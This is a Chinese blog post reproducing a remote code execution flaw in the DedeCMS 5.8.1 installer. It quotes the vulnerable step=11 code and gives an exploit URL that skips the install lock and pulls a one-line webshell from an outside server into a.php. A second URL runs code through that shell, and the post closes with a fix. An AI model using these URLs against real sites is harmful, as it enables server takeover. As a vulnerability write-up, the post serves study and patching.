抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Qingwan

在时间的维度上,一切问题都是有解的。

Dedecms框架漏洞复现①

漏洞成因

漏洞主要的成因在于install/index.php文件的这一段(如果安装初始化了网站,那就是install/index.php.bak这个文件)
这里其实涉及到一个Apache解析漏洞

当Apache检测到一个文件有多个扩展名时,如index.php.bak,会从右向左判断,直到有一个Apache认识的扩展名。所以这里的Index.php.bak也会被当作php文件进行解析

首先看到文件开头的If语句

1
2
3
if (file_exists(INSLOCKFILE)) {  
exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
}

由于我们要执行下面的语句,所以我们要想办法绕过这里的exit()
这里我们给INSLOCKFILE赋任意值,只要是不存在的文件就可以,当insLockfile指定的文件不存在时程序就会认为没有初始化过,就会继续执行初始化代码。
然后我们来到第十一步:step=11

1
2
3
4
5
6
7
8
9
10
11
12
13
14
else if($step==11) {  
include_once '../data/admin/config_update.php';
$rmurl = UPDATEHOST."dedecms/demodata.{$s_lang}.txt";
$sql_content = file_get_contents($rmurl);
$fp = fopen(INSTALL_DEMO_NAME, 'w');
if(fwrite($fp, $sql_content)) {
echo '&nbsp; <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
} else {
echo '&nbsp; <font color="red">[×]</font> 远程获取失败';
}
unset($sql_content);
fclose($fp);
exit();
}

这段代码的作用是从指定URL下载数据并将其写入指定的文件。
那如果我们在我们的服务器上,放上一个恶意的文件,然后利用这段代码去下载,那不就可以RCE了嘛

漏洞复现

我们先根据指引,初始化网站
然后在我们的服务器上先新建一个dedecms文件夹
然后在里面新建一个demodata.aaa.txt文件,里面写入一句话木马

然后访问链接

1
http://localhost/DedeCMS-5.8.1/install/index.php.bak?insLockfile=aaa&step=11&install_demo_name=./a.php&updateHost=http://1.14.60.36:9000/

之后用户就会下载我们的一句话木马到当前目录下的a.php文件中
我们提交参数?updataHost=http://1.14.60.36:9000/ $rumurl就会等于http://1.14.60.36/dedecms/demodata.utf-8.txt$s_lang等于utf-8gbk,可以在前端查看,在这里也可以传递一个参数把$s_lang覆盖)。同时提交参数?install_demo_name=./a.php,我们的利用代码就会写在/install/t.php中。

我们访问

1
http://localhost/DedeCMS-5.8.1/install/a.php?a=phpinfo();

即可进行RCE

漏洞修复

在安装完成后移除install目录。

参考文章

https://www.exploit-db.com/exploits/37423

评论